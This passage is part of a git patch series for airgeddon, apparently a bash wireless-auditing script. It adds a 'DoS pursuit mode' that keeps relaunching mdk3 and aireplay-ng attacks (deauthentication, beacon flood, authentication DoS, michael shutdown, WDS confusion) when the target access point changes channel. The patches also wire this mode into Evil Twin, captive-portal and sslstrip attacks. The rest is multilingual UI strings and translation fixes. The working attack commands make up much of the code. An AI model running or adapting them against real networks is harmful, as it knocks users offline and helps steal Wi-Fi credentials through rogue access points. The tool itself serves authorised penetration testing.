confusion attack") + dos_delay=10 xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") + dos_delay=1 xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") + dos_delay=1 xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") + dos_delay=1 xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; esac @@ -2769,7 +2775,7 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") - sleep 3 + sleep ${dos_delay} airodump-ng -w "${tmpdir}dos_pm" "${interface}" > /dev/null 2>&1 & dos_pursuit_mode_scan_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") From 4082d356b4fc61ea5a7af9b9b218fa4cd763f8f0 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 30 Oct 2017 01:00:22 +0100 Subject: [PATCH 31/70] Added some warning while using DoS pursuit mode on some DoS attacks (confusion and auth) --- airgeddon.sh | 6 ++++++ language_strings.sh | 10 ++++++++++ 2 files changed, 16 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index cb0945ba1..7c5c4da92 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3062,6 +3062,9 @@ function wds_confusion_option() { ask_yesno 505 "yes" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + echo + language_strings "${language}" 508 "yellow" + language_strings "${language}" 115 "read" fi exec_wdsconfusion @@ -3119,6 +3122,9 @@ function auth_dos_option() { ask_yesno 505 "yes" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + echo + language_strings "${language}" 508 "yellow" + language_strings "${language}" 115 "read" fi exec_authdos diff --git a/language_strings.sh b/language_strings.sh index eb39f82b1..9684432bb 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5550,6 +5550,16 @@ function language_strings() { arr["ITALIAN",507]="${pending_of_translation} È stata rilevata la modifica del canale. Riavviare l'attacco DoS nuovamente in modalità \"modalità DoS persecuzione\" ora sul canale ${normal_color}${channel}" arr["POLISH",507]="${pending_of_translation} Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"tryb pościgowy DoS\" na kanale ${normal_color}${channel}" + arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" + arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" + arr["FRENCH",508]="${pending_of_translation} \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" + arr["CATALAN",508]="${pending_of_translation} \"mode persecució DOS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" + arr["PORTUGUESE",508]="${pending_of_translation} \"modo de perseguição do DoS\" pode ser instável para esse tipo de ataque DoS. Se o resultado não for ótimo selecione outro tipo de ataque" + arr["RUSSIAN",508]="${pending_of_translation} \"режим преследования DoS\" может быть нестабильной для такого DoS-атаки. Если вы не получаете оптимальный результат, просто выберите другой тип атаки" + arr["GREEK",508]="${pending_of_translation} \"DoS λειτουργία αναζήτησης\" μπορεί να είναι ασταθής για αυτό το είδος DoS επίθεσης. Εάν δεν επιτυγχάνετε το βέλτιστο αποτέλεσμα, επιλέξτε μόνο ένα άλλο είδος επίθεσης" + arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" + arr["POLISH",508]="${pending_of_translation} \"tryb pościgowy DoS\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From 2aa9f49bf5323161c44cc7058371b3cade7003fd Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 3 Nov 2017 20:09:14 +0100 Subject: [PATCH 32/70] Integrated DoS pursuit mode on Evil Twin attacks --- CHANGELOG.md | 2 +- airgeddon.sh | 123 ++++++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 114 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ae2221f26..a374dee1f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ - Fixed error in Docker container on some host O.S. - Fixed error message on offline Arcadyan PIN algorithm calculation - Polish language translation added (Thank you to "dodg3rmaq") - - Added "DoS pursuit mode" on DoS attacks to avoid AP channel hopping + - Added "DoS pursuit mode" on DoS attacks (including DoS used on Evil Twin attacks) to avoid AP channel hopping ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 diff --git a/airgeddon.sh b/airgeddon.sh index 7c5c4da92..1a67824d6 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171030 +#Date.........: 20171103 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -225,6 +225,7 @@ attemptsfile="ag.et_attempts.txt" currentpassfile="ag.et_currentpass.txt" successfile="ag.et_success.txt" processesfile="ag.et_processes.txt" +channelfile="ag.et_channel.txt" possible_dhcp_leases_files=( "/var/lib/dhcp/dhcpd.leases" "/var/state/dhcp/dhcpd.leases" @@ -2736,7 +2737,9 @@ function launch_dos_pursuit_mode_attack() { debug_print rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 - rm -rf "${tmpdir}clts"* > /dev/null 2>&1 + rm -rf "${tmpdir}nws"* > /dev/null 2>&1 + rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 + rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then echo @@ -2746,29 +2749,51 @@ function launch_dos_pursuit_mode_attack() { recalculate_windows_sizes case "${1}" in "mdk3 amok attack") - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & dos_delay=1 + interface_pursuit_mode_scan="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 dos_delay=3 + interface_pursuit_mode_scan="${interface}" xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & ;; "wids / wips / wds confusion attack") dos_delay=10 + interface_pursuit_mode_scan="${interface}" xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + interface_pursuit_mode_scan="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + interface_pursuit_mode_scan="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + interface_pursuit_mode_scan="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + ;; + "Mdk3") + dos_delay=1 + interface_pursuit_mode_scan="${iface_monitor_et_deauth}" + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & + ;; + "Aireplay") + iwconfig "${iface_monitor_et_deauth}" channel "${channel}" > /dev/null 2>&1 + dos_delay=3 + interface_pursuit_mode_scan="${iface_monitor_et_deauth}" + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" > /dev/null 2>&1 & + ;; + "Wds Confusion") + dos_delay=10 + interface_pursuit_mode_scan="${iface_monitor_et_deauth}" + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac @@ -2776,7 +2801,7 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") sleep ${dos_delay} - airodump-ng -w "${tmpdir}dos_pm" "${interface}" > /dev/null 2>&1 & + airodump-ng -w "${tmpdir}dos_pm" "${interface_pursuit_mode_scan}" > /dev/null 2>&1 & dos_pursuit_mode_scan_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") } @@ -2786,6 +2811,11 @@ pid_control_pursuit_mode() { debug_print + if [[ -n "${2}" ]] && [[ "${2}" = "evil_twin" ]]; then + rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 + echo "${channel}" > "${tmpdir}${channelfile}" + fi + while true; do sleep 5 if grep "${bssid}" "${tmpdir}dos_pm-01.csv" > /dev/null 2>&1; then @@ -2797,6 +2827,10 @@ pid_control_pursuit_mode() { if [[ "${dos_pm_current_channel}" =~ ^([0-9]+)$ ]] && [[ "${BASH_REMATCH[1]}" -ne 0 ]] && [[ "${BASH_REMATCH[1]}" -ne "${channel}" ]]; then channel="${dos_pm_current_channel}" + if [[ -n "${2}" ]] && [[ "${2}" = "evil_twin" ]]; then + rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 + echo "${channel}" > "${tmpdir}${channelfile}" + fi kill_dos_pursuit_mode_processes dos_pursuit_mode_pids=() launch_dos_pursuit_mode_attack "${1}" "relaunch" @@ -3536,6 +3570,7 @@ function initialize_menu_and_print_selections() { print_all_target_vars_et ;; "et_dos_menu") + dos_pursuit_mode=0 if [ ${retry_handshake_capture} -eq 1 ]; then retry_handshake_capture=0 retrying_handshake_capture=1 @@ -3606,6 +3641,7 @@ function clean_tmpfiles() { rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1 rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1 rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 + rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 } #Manage cleaning firewall rules and restore orginal routing state @@ -5429,6 +5465,9 @@ function exec_et_onlyap_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then + recover_current_channel + fi restore_et_interface clean_tmpfiles } @@ -5453,6 +5492,9 @@ function exec_et_sniffing_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then + recover_current_channel + fi restore_et_interface if [ ${ettercap_log} -eq 1 ]; then parse_ettercap_log @@ -5481,6 +5523,9 @@ function exec_et_sniffing_sslstrip_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then + recover_current_channel + fi restore_et_interface if [ ${ettercap_log} -eq 1 ]; then parse_ettercap_log @@ -5518,6 +5563,9 @@ function exec_et_sniffing_sslstrip2_attack() { kill_beef kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then + recover_current_channel + fi restore_et_interface if [ ${bettercap_log} -eq 1 ]; then @@ -5552,6 +5600,9 @@ function exec_et_captive_portal_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then + recover_current_channel + fi restore_et_interface clean_tmpfiles } @@ -5833,9 +5884,16 @@ function exec_et_deauth() { deauth_scr_window_position=${g4_bottomleft_window} ;; esac - xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & - et_processes+=($!) - sleep 1 + + if [ "${dos_pursuit_mode}" -eq 1 ]; then + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time" + pid_control_pursuit_mode "${et_dos_attack}" "evil_twin" & + else + xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & + et_processes+=($!) + sleep 1 + fi } #Create here-doc bash script used for wps pin attacks @@ -7171,10 +7229,23 @@ function kill_et_windows() { debug_print + if [ "${dos_pursuit_mode}" -eq 1 ]; then + kill_dos_pursuit_mode_processes + case ${et_dos_attack} in + "Mdk3"|"Wds Confusion") + killall mdk3 > /dev/null 2>&1 + ;; + "Aireplay") + killall aireplay-ng > /dev/null 2>&1 + ;; + esac + fi + for item in "${et_processes[@]}"; do kill "${item}" &> /dev/null done kill ${et_process_control_window} &> /dev/null + killall hostapd > /dev/null 2>&1 } #Kill DoS pursuit mode processes @@ -7188,6 +7259,17 @@ function kill_dos_pursuit_mode_processes() { done } +#Set current channel reading it from file +function recover_current_channel() { + + debug_print + + local recovered_channel=$(cat "${tmpdir}${channelfile}" 2> /dev/null) + if [ -n "${recovered_channel}" ]; then + channel="${recovered_channel}" + fi +} + #Convert capture file to hashcat format function convert_cap_to_hashcat_format() { @@ -8503,6 +8585,12 @@ function et_dos_menu() { forbidden_menu_option else et_dos_attack="Mdk3" + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + if [ "${et_mode}" = "et_captive_portal" ]; then if [ ${internet_interface_selected} -eq 0 ]; then language_strings "${language}" 330 "blue" @@ -8546,6 +8634,12 @@ function et_dos_menu() { forbidden_menu_option else et_dos_attack="Aireplay" + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + if [ "${et_mode}" = "et_captive_portal" ]; then if [ ${internet_interface_selected} -eq 0 ]; then language_strings "${language}" 330 "blue" @@ -8589,6 +8683,15 @@ function et_dos_menu() { forbidden_menu_option else et_dos_attack="Wds Confusion" + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + echo + language_strings "${language}" 508 "yellow" + language_strings "${language}" 115 "read" + fi + if [ "${et_mode}" = "et_captive_portal" ]; then if [ ${internet_interface_selected} -eq 0 ]; then language_strings "${language}" 330 "blue" From ee18600bae887f2bb1921633911ff6def15ac037 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 3 Nov 2017 20:11:49 +0100 Subject: [PATCH 33/70] Added forgotten iptables file cleaning --- airgeddon.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 1a67824d6..c84551868 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3658,6 +3658,8 @@ function clean_routing_rules() { else clean_iptables fi + + rm -rf "${tmpdir}ag.iptables" > /dev/null 2>&1 } #Save iptables rules From 0fe7824c65bbd823b52b859042fc32ea8a5ec018 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 3 Nov 2017 20:16:49 +0100 Subject: [PATCH 34/70] Fixed SC2155 warning --- airgeddon.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index c84551868..69e718dc6 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7266,7 +7266,8 @@ function recover_current_channel() { debug_print - local recovered_channel=$(cat "${tmpdir}${channelfile}" 2> /dev/null) + local recovered_channel + recovered_channel=$(cat "${tmpdir}${channelfile}" 2> /dev/null) if [ -n "${recovered_channel}" ]; then channel="${recovered_channel}" fi From 4905ab6d888747304da1f2ac9b9bc81aad262bdb Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 4 Nov 2017 14:44:47 +0100 Subject: [PATCH 35/70] Added missing italian and polish language options to evil twin captive portal attack --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 69e718dc6..8a03f81a0 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171103 +#Date.........: 20171104 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -5200,6 +5200,8 @@ function set_captive_portal_language() { language_strings "${language}" 249 language_strings "${language}" 308 language_strings "${language}" 320 + language_strings "${language}" 482 + language_strings "${language}" 58 print_hint ${current_menu} read -r captive_portal_language_selected @@ -5226,6 +5228,12 @@ function set_captive_portal_language() { 7) captive_portal_language="GREEK" ;; + 8) + captive_portal_language="ITALIAN" + ;; + 9) + captive_portal_language="POLISH" + ;; *) invalid_captive_portal_language_selected ;; From 8d23639dfdb2bbec561e60b52497d5dd615d5ee8 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 4 Nov 2017 15:21:58 +0100 Subject: [PATCH 36/70] Added DoS pursuit mode Evil Twin integration hint --- airgeddon.sh | 4 ++-- language_strings.sh | 14 ++++++++++++-- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 8a03f81a0..72f58addb 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -280,8 +280,8 @@ declare decrypt_hints=(171 178 179 208 244 163) declare select_interface_hints=(246) declare language_hints=(250 438) declare option_hints=(445 250 448 477) -declare evil_twin_hints=(254 258 264 269 309 328 400) -declare evil_twin_dos_hints=(267 268) +declare evil_twin_hints=(254 258 264 269 309 328 400 509) +declare evil_twin_dos_hints=(267 268 509) declare beef_hints=(408) declare wps_hints=(342 343 344 356 369 390 490) declare wep_hints=(431 429 428 432 433) diff --git a/language_strings.sh b/language_strings.sh index 9684432bb..28c79e54a 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171030 +#Date.........: 20171104 #Bash Version.: 4.2 or later #Set language_strings file version @@ -5530,7 +5530,7 @@ function language_strings() { arr["ITALIAN",505]="${pending_of_translation} Vuoi attivare la modalità \"modalità DoS persecuzione\"? ${blue_color}Questo riprenderà l'attacco se il target AP cambia i canali contrastando la \"channel hopping\" ${normal_color}${visual_choice}" arr["POLISH",505]="${pending_of_translation} Czy chcesz uaktywnić \"tryb pościgowy DoS\"? ${blue_color}To spowoduje ponowne atakowanie, jeśli docelowy punkt dostępu AP zmieni kanały, zmieniając kanały \"channel hopping\" ${normal_color}${visual_choice}" - arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" + arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" arr["CATALAN",506]="${pending_of_translation} L'atac DoS amb el \"mode persecució DOS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" @@ -5560,6 +5560,16 @@ function language_strings() { arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" arr["POLISH",508]="${pending_of_translation} \"tryb pościgowy DoS\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" + arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, it will be needed another wifi interfaz in monitor mode to be able to perform it" + arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi en modo monitor para llevarlo a cabo" + arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi en mode moniteur pour l'effectuer" + arr["CATALAN",509]="${pending_of_translation} Si es vol integrar el \"mode persecució DOS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi en mode monitor per fer-ho" + arr["PORTUGUESE",509]="${pending_of_translation} Se você deseja integrar o \"modo de perseguição do DoS\" em um ataque Evil Twin, será necessário ter outra interface wifi no modo monitor para executá-lo" + arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, понадобится другой интерфаз wifi в режиме монитора, чтобы выполнить его" + arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, θα χρειαστεί ένα άλλο wifi διεπαφή στη λειτουργία παρακολούθησης για να το εκτελέσετε" + arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi in modalità monitor" + arr["POLISH",509]="${pending_of_translation} Jeśli chcesz zintegrować \"tryb pościgowy DoS\" w ataku Evil Twin, konieczne będzie posiadanie innego interfejsu wifi w trybie monitorowania, aby go przeprowadzić" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From f61fb68024000ec19942c0280aad089d6337b49d Mon Sep 17 00:00:00 2001 From: Luan Date: Sat, 4 Nov 2017 15:30:27 -0200 Subject: [PATCH 37/70] update portuguese translation --- language_strings.sh | 72 ++++++++++++++++++++++----------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 9684432bb..57215611c 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -119,7 +119,7 @@ function language_strings() { et_misc_texts["SPANISH",3]="Ips entregadas por DHCP a posibles clientes conectados" et_misc_texts["FRENCH",3]="Ips attribuées à d'éventuels clients DHCP" et_misc_texts["CATALAN",3]="Ips lliurades per DHCP a possibles clients connectats" - et_misc_texts["PORTUGUESE",3]="Ips entregues pelo DHCP aos possiveis clientes conectados" + et_misc_texts["PORTUGUESE",3]="Ips entregues pelo DHCP aos possíveis clientes conectados" et_misc_texts["RUSSIAN",3]="IP, которые DHCP будет давать возможным подключённым клиентам" et_misc_texts["GREEK",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" et_misc_texts["ITALIAN",3]="Ips forniti dal DHCP a possibili clienti collegati" @@ -494,7 +494,7 @@ function language_strings() { arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" arr["FRENCH",2]="S.E. en Français détecté. Langue prise en charge par le script et changé automatiquement" arr["CATALAN",2]="Idioma Català del S.O. detectat. Suportat pel script. S'ha canviat automàticament" - arr["PORTUGUESE",2]="S.O. em Português detectado. Compatível com o script. Linguagem automaticamente alterada" + arr["PORTUGUESE",2]="S.O. em Português detectado. Compatível com o script. Idioma automaticamente alterada" arr["RUSSIAN",2]="Определена ОС на русском. Поддерживается скриптом. Локализация автоматически изменена. Помощь на русском: https://hackware.ru/?p=670" arr["GREEK",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["ITALIAN",2]="Lingua Italiana del S.O. rilevata. Supportata dallo script. Viene cambiata automaticamente" @@ -624,7 +624,7 @@ function language_strings() { arr["SPANISH",15]="Esta interfaz ha cambiado su nombre al ponerse en modo managed. Se ha seleccionado automáticamente" arr["FRENCH",15]="Le nom de l'interface a changé lors du passage en mode managed. Elle a été sélectionnée automatiquement" arr["CATALAN",15]="Aquesta interfície ha canviat de nom al posar-la en mode managed. S'ha triat automàticament" - arr["PORTUGUESE",15]="Esta interface mudou de nome ao ser colocanda em modo managed. Ela foi selecionanda automaticamente" + arr["PORTUGUESE",15]="Esta interface mudou de nome ao ser colocada em modo managed. Ela foi selecionada automaticamente" arr["RUSSIAN",15]="Интерфейс изменил имя во время перевода в управляемый режим. Выбран автоматически" arr["GREEK",15]="Η διεπάφη άλλαξε όνομα καθώς ήταν σε ετερόκλητη κατάσταση. Επιλέχθηκε αυτόματα" arr["ITALIAN",15]="Questa interfaccia ha cambiato il suo nome passando in modalità managed. È stata selezionata automaticamente" @@ -684,7 +684,7 @@ function language_strings() { arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" arr["FRENCH",21]="Le nom de l'interface à changé lors de l'activation du mode moniteur. Elle a été automatiquement sélectionnée" arr["CATALAN",21]="Aquesta interfície ha canviat de nom al posar-la en mode monitor. S'ha seleccionat automàticament" - arr["PORTUGUESE",21]="Esta interface mudou de nome ao ser colocanda em modo monitor. Ela foi selecionanda automaticamente" + arr["PORTUGUESE",21]="Esta interface mudou de nome ao ser colocada em modo monitor. Ela foi selecionada automaticamente" arr["RUSSIAN",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" arr["GREEK",21]="Η διεπαφή άλλαξε όνομα καθώς ήταν σε κατάσταση παρακολούθησης" arr["ITALIAN",21]="Questa interfaccia ha cambiato il suo nome passando in modalità monitor. È stata selezionata automaticamente" @@ -774,7 +774,7 @@ function language_strings() { arr["SPANISH",30]="Has seleccionado un ESSID de red oculta. No se puede usar. Selecciona otro o ejecuta un ataque basado en BSSID en lugar de este" arr["FRENCH",30]="Vous avez choisi un réseau dont l'ESSID est caché et ce n'est pas possible. Veuillez sélectionner une autre cible ou bien effectuer une attaque qui se fonde sur le BSSID au lieu de celle-ci" arr["CATALAN",30]="Has seleccionat un ESSID de xarxa oculta. No es pot utilitzar. Selecciona un altre o executa un atac basat en BSSID en lloc d'aquest" - arr["PORTUGUESE",30]="Você selecionou uma rede com ESSID oculto. Você não pode ultilizar. Selecione outro ou execute um ataque com BSSID ao invés deste" + arr["PORTUGUESE",30]="Você selecionou uma rede com ESSID oculto. Você não pode utilizar. Selecione outro ou execute um ataque com BSSID ao invés deste" arr["RUSSIAN",30]="Вы выбрали сеть со скрытым ESSID. Использование невозможно. Выберите другую или вместо этой выполните атаку, основанную на BSSID" arr["GREEK",30]="Επιλέξατε ESSID κρυφού δικτύου. Δεν μπορεί να χρησιμοποιηθεί. Επιλέξτε κάποιο άλλο ή ξεκινήστε μία επίθεση βασισμένη στο BSSID αντί αυτού" arr["ITALIAN",30]="È stata selezionata una rete ESSID nascosta. Non puó essere utilizzata. Selezionare un altro o eseguire un attacco basato in BSSID invece di questo" @@ -1504,7 +1504,7 @@ function language_strings() { arr["SPANISH",103]="Explorar para buscar objetivos" arr["FRENCH",103]="Détection pour trouver des cibles" arr["CATALAN",103]="Explorar per buscar objectius" - arr["PORTUGUESE",103]="Busca para encontar objetivos" + arr["PORTUGUESE",103]="Busca para encontrar objetivos" arr["RUSSIAN",103]="Сканирование целей" arr["GREEK",103]="Εξερεύνηση στόχων" arr["ITALIAN",103]="Scansionare per cercare obiettivi" @@ -2844,7 +2844,7 @@ function language_strings() { arr["SPANISH",237]="5. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" arr["FRENCH",237]="5. Lettres minuscules et majuscules + chiffres + symboles" arr["CATALAN",237]="5. Caràcters en minúscules + majúscules + numèrics + símbols" - arr["PORTUGUESE",237]="5. Caracteres em minúsculos + maiúsculas + numeros + símbolos" + arr["PORTUGUESE",237]="5. Caracteres em minúsculos + maiúsculas + números + símbolos" arr["RUSSIAN",237]="5. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",237]="5. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",237]="5. Caratteri minuscoli + maiuscoli + numeri + simboli" @@ -3514,7 +3514,7 @@ function language_strings() { arr["SPANISH",304]="Analizando log del sniffer..." arr["FRENCH",304]="Analyse du log des captures..." 